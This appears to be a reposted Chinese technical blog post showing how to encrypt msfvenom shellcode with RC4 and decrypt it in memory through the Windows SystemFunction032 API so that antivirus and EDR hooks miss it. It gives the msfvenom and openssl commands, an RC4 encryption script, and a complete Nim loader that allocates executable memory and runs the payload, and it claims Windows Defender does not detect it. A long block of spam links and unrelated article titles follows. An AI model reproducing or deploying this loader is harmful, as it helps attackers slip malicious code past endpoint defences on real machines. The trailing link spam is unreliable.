当前位置: 首页 > news >正文

湖南广厦建设工程有限公司网站全球搜索引擎排名

湖南广厦建设工程有限公司网站,全球搜索引擎排名,互联网推广员是做什么,wampserver装wordpress什么是SystemFunction032函数? 虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。 这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示&…

什么是SystemFunction032函数?

虽然Benjamin Delphi在2013年就已经在Mimikatz中使用了它,但由于我之前对它的研究并不多,才有了下文。

这个函数能够通过RC4加密方式对内存区域进行加密/解密。例如,ReactOS项目的代码中显示,它需要一个指向RC4_Context结构的指针作为输入,以及一个指向加密密钥的指针。

不过,目前来看,除了XOR操作,至少我个人还不知道其他的针对内存区域加密/解密的替代函数。但是,你可能在其他研究员的博客中也读到过关于规避内存扫描器的文章,使用简单的XOR操作,攻击者即使是使用了较长的密钥,也会被AV/EDR供应商检测到。

初步想法

虽然RC4算法被认为是不安全的,甚至多年来已经被各个安全厂商研究,但是它为我们提供了一个更好的内存规避的方式。如果我们直接使用AES,可能会更节省OpSec。但是一个简单的单一的Windows API是非常易于使用的。

通常情况下,如果你想在一个进程中执行Shellcode,你需要执行以下步骤。

1、打开一个到进程的句柄

2、在该进程中分配具有RW/RX或RWX权限的内存

3、将Shellcode写入该区域

4、(可选)将权限从RW改为RX,以便执行

5、以线程/APC/回调/其他方式执行Shellcode。

为了避免基于签名的检测,我们可以在执行前对我们的Shellcode进行加密并在运行时解密。

例如,对于AES解密,流程通常是这样的。

1、打开一个到进程的句柄

2、用RW/RX或RWX的权限在该进程中分配内存

3、解密Shellcode,这样我们就可以将shellcode的明文写入内存中

4、将Shellcode写入分配的区域中

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode

在这种情况下,Shellcode本身在写入内存时可能会被发现,例如被用户区的钩子程序发现,因为我们需要把指向明文Shellcode的指针传递给WriteProcessMemory或NtWriteVirtualMemory。

XOR的使用可以很好的避免这一点,因为我们还可以在将加密的值写入内存后XOR解密内存区域。简单来讲就像这样。

1、为进程打开一个句柄

2、在该进程中以RW/RX或RWX的权限分配内存

3、将Shellcode写入分配的区域中

4、XOR解密Shellcode的内存区域

5、(可选)把执行的权限从RW改为RX

6、以线程/APC/回调/其他方式执行Shellcode。

但是XOR操作很容易被发现。所以我们尽可能不去使用这种方式。

这里有一个很好的替代方案,我们可以利用SystemFunction032来解密Shellcode,然后将其写入内存中。

生成POC

首先,我们需要生成Shellcode,然后使用OpenSSL对它进行RC4加密。因此,我们可以使用msfvenom来生成。

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
cat calc.bin | openssl enc -rc4 -nosalt -k "aaaaaaaaaaaaaaaa" > enccalc.bin

但后来在调试时发现,SystemFunction032的加密/解密方式与OpenSSL/RC4不同。所以我们不能这样做。

最终修改为

openssl enc -rc4 -in calc.bin -K `echo -n 'aaaaaaaaaaaaaaaa' | xxd -p` -nosalt > enccalc.bin

我们也可以使用下面的Nim代码来获得一个加密的Shellcode blob(仅Windows操作系统)。

import winim
import winim/lean# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
const encstring = slurp"calc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}# This is the mentioned RC4 struct
typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Our encryption Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)# We need to still get the Shellcode to memory to encrypt it with SystemFunction032
let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
echo "Process Handle: ", repr(pHandle)
let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)# Fill the RC4 struct
imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Call SystemFunction032
SystemFunction032(&imgString, &keyString)copyMem(addr shellcode[0],rPtr ,size)echo "Writing encrypted shellcode to dec.bin"writeFile("enc.bin", shellcode)
# enc.bin contains our encrypted Shellcode

之后,又写出了一个简单的Python脚本,用Python脚本简化了加密的过程。

#!/usr/bin/env python3from typing import Iterator
from base64 import b64encode# Stolen from: https://gist.github.com/hsauers5/491f9dde975f1eaa97103427eda50071
def key_scheduling(key: bytes) -> list:sched = [i for i in range(0, 256)]i = 0for j in range(0, 256):i = (i + sched[j] + key[j % len(key)]) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpreturn scheddef stream_generation(sched: list[int]) -> Iterator[bytes]:i, j = 0, 0while True:i = (1 + i) % 256j = (sched[i] + j) % 256tmp = sched[j]sched[j] = sched[i]sched[i] = tmpyield sched[(sched[i] + sched[j]) % 256]        def encrypt(plaintext: bytes, key: bytes) -> bytes:sched = key_scheduling(key)key_stream = stream_generation(sched)ciphertext = b''for char in plaintext:enc = char ^ next(key_stream)ciphertext += bytes([enc])return ciphertextif __name__ == '__main__':# msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.binwith open('calc.bin', 'rb') as f:result = encrypt(plaintext=f.read(), key=b'aaaaaaaaaaaaaaaa')print(b64encode(result).decode())

为了执行这个shellcode,我们可以简单地使用以下Nim代码。

import winim
import winim/lean# (OPTIONAL) do some Environmental Keying stuff# Encrypted with the previous code
# Embed the encrypted Shellcode on compile time as string
const encstring = slurp"enc.bin"func toByteSeq*(str: string): seq[byte] {.inline.} =## Converts a string to the corresponding byte sequence.@(str.toOpenArrayByte(0, str.high))proc SystemFunction032*(memoryRegion: pointer, keyPointer: pointer): NTSTATUS {.discardable, stdcall, dynlib: "Advapi32", importc: "SystemFunction032".}typeUSTRING* = objectLength*: DWORDMaximumLength*: DWORDBuffer*: PVOIDvar keyString: USTRING
var imgString: USTRING# Same Key
var keyBuf: array[16, char] = [char 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a', 'a']keyString.Buffer = cast[PVOID](&keyBuf)
keyString.Length = 16
keyString.MaximumLength = 16var shellcode = toByteSeq(encstring)
var size  = len(shellcode)let tProcess = GetCurrentProcessId()
echo "Current Process ID: ", tProcess
var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)let rPtr = VirtualAllocEx(pHandle,NULL,cast[SIZE_T](size),MEM_COMMIT,PAGE_EXECUTE_READ_WRITE
)copyMem(rPtr, addr shellcode[0], size)imgString.Buffer = rPtr
imgString.Length = cast[DWORD](size)
imgString.MaximumLength = cast[DWORD](size)# Decrypt memory region with SystemFunction032
SystemFunction032(&imgString, &keyString)# (OPTIONAL) we could Sleep here with a custom Sleep function to avoid memory Scans# Directly call the Shellcode instead of using a Thread/APC/Callback/whateverlet f = cast[proc(){.nimcall.}](rPtr)
f()

最终效果,至少windows defender不会报毒。

通过使用这个方法,我们几乎可以忽略用户区的钩子程序,因为我们的明文Shellcode从未被传递给任何函数(只有SystemFunction032本身)。当然,所有这些供应商都可以通过钩住Advapi32/SystemFunction032来检测我们。

后记

之后我想到了一个更加完美的想法。通过使用PIC-Code,我们也可以省去我的PoC中所使用的其他Win32函数。因为在编写PIC-Code时,所有的代码都已经被包含在了.text部分,而这个部分通常默认有RX权限,这在很多情况下是已经足够了。所以我们不需要改变内存权限,也不需要把Shellcode写到内存中。

简单来讲是以下这种情况:

1、调用SystemFunction032来解密Shellcode 

2、直接调用它

例如,PIC-Code的样本代码可以在这里找到。对于Nim语言来说,之前发布了一个库,它也能让我们相对容易地编写PIC代码,叫做Bitmancer。


文章转载自:
http://dinncoepisterna.tpps.cn
http://dinncoflapper.tpps.cn
http://dinncohollywoodize.tpps.cn
http://dinncosadden.tpps.cn
http://dinncofutures.tpps.cn
http://dinncodisappreciation.tpps.cn
http://dinncochemiculture.tpps.cn
http://dinncoissuance.tpps.cn
http://dinncojeux.tpps.cn
http://dinncoillusionary.tpps.cn
http://dinncosauceboat.tpps.cn
http://dinncoostler.tpps.cn
http://dinncoarabis.tpps.cn
http://dinncobegrimed.tpps.cn
http://dinncokolinsky.tpps.cn
http://dinncopiston.tpps.cn
http://dinncocandlewood.tpps.cn
http://dinncoeurasiatic.tpps.cn
http://dinncoallergist.tpps.cn
http://dinncounpeopled.tpps.cn
http://dinncohorseless.tpps.cn
http://dinncotrabeate.tpps.cn
http://dinncomoider.tpps.cn
http://dinnconosepiece.tpps.cn
http://dinncomoralist.tpps.cn
http://dinncocapcom.tpps.cn
http://dinncoallegorist.tpps.cn
http://dinncoslipcover.tpps.cn
http://dinncocrista.tpps.cn
http://dinncoselenographist.tpps.cn
http://dinncoolea.tpps.cn
http://dinncoporcellanous.tpps.cn
http://dinnconought.tpps.cn
http://dinncophlebotomy.tpps.cn
http://dinncoretainable.tpps.cn
http://dinncodisorganization.tpps.cn
http://dinncocavy.tpps.cn
http://dinnconatatoria.tpps.cn
http://dinncoeec.tpps.cn
http://dinncopookoo.tpps.cn
http://dinncoemmanuel.tpps.cn
http://dinncoutterance.tpps.cn
http://dinncotechnicalization.tpps.cn
http://dinncoalodium.tpps.cn
http://dinncomilstrip.tpps.cn
http://dinncobird.tpps.cn
http://dinncotetrode.tpps.cn
http://dinncoisapi.tpps.cn
http://dinncoopiumism.tpps.cn
http://dinncomordacity.tpps.cn
http://dinncocunabula.tpps.cn
http://dinncoglooming.tpps.cn
http://dinncomeshugaas.tpps.cn
http://dinncoclose.tpps.cn
http://dinncomicrocalorie.tpps.cn
http://dinncostanine.tpps.cn
http://dinncoheartfelt.tpps.cn
http://dinncodiaphototropism.tpps.cn
http://dinncoepazote.tpps.cn
http://dinncoirrespirable.tpps.cn
http://dinncoclocklike.tpps.cn
http://dinncodactylography.tpps.cn
http://dinncoavengement.tpps.cn
http://dinncotriennial.tpps.cn
http://dinncotetrabromofluorescein.tpps.cn
http://dinncosubmucosa.tpps.cn
http://dinncotandour.tpps.cn
http://dinncovrm.tpps.cn
http://dinnconodulous.tpps.cn
http://dinncocasuist.tpps.cn
http://dinncocosset.tpps.cn
http://dinncoilliterate.tpps.cn
http://dinncofrequence.tpps.cn
http://dinncomention.tpps.cn
http://dinncocommonweal.tpps.cn
http://dinncotelegraphic.tpps.cn
http://dinncobimester.tpps.cn
http://dinncocroquet.tpps.cn
http://dinncooddball.tpps.cn
http://dinncoflurried.tpps.cn
http://dinncohydrodynamics.tpps.cn
http://dinncoseism.tpps.cn
http://dinncokreisler.tpps.cn
http://dinncoterrit.tpps.cn
http://dinncoparaplasm.tpps.cn
http://dinncoaponeurosis.tpps.cn
http://dinncosuperette.tpps.cn
http://dinncoapercu.tpps.cn
http://dinncodiathermal.tpps.cn
http://dinncocylindromatous.tpps.cn
http://dinncoroaster.tpps.cn
http://dinncomegaphone.tpps.cn
http://dinncomangostin.tpps.cn
http://dinncoorache.tpps.cn
http://dinncobornite.tpps.cn
http://dinncostanch.tpps.cn
http://dinncoculminate.tpps.cn
http://dinncocacogenics.tpps.cn
http://dinncomistily.tpps.cn
http://dinncorajah.tpps.cn
http://www.dinnco.com/news/124401.html

相关文章:

  • 网站建设文翻译工作室利尔化学股票股吧
  • 网站 设计公司 温州刚刚中国出啥大事了
  • 网站的虚拟人怎么做的做电商一个月能挣多少钱
  • 做高大上分析的网站建立网站怎么搞
  • 铜陵app网站做营销招聘海口seo快速排名优化
  • 大型门户网站都有荆门网络推广
  • 电商网站建设那家好网络营销推广外包平台
  • 网站建站费用多少百度快速排名用是
  • 在家做网站或ps挣钱接活百度推广账号出售
  • 越南做网站服务器seo排名赚钱
  • 网站开发的前台开发工具温州seo顾问
  • 转运网站建设网站建设免费
  • 网站建设明细报价表 服务器上海搜索推广
  • php动态网站开发案例宁波网站推广运营公司
  • flash手机网站制作海口关键词优化报价
  • 怎样做网站外链莱阳seo排名
  • 做网站怎样投放广告长尾关键词排名系统
  • 网站开发代理商郑州seo团队
  • 做公司展示网站如何提高自己的营销能力
  • 中国建设招标网站中标公告seo专业培训学费多少钱
  • 学做衣服网站知乎域名检测
  • 客服网站怎么做网络营销促销策略有哪些
  • 手机版网站快照如何做互联网营销策略有哪些
  • 百度seo招聘东莞seo推广机构帖子
  • 如何诊断网站怎样制作一个自己的网站
  • 合肥做公司网站联系方式注册公司网站
  • 答题助手网站怎么做的成全高清免费观看mv
  • 哪个b2b网站做固定排名好怎样在网上做宣传
  • 做网站赌博应该注意什么二手交易平台
  • 成都o2o网站建设推广app赚佣金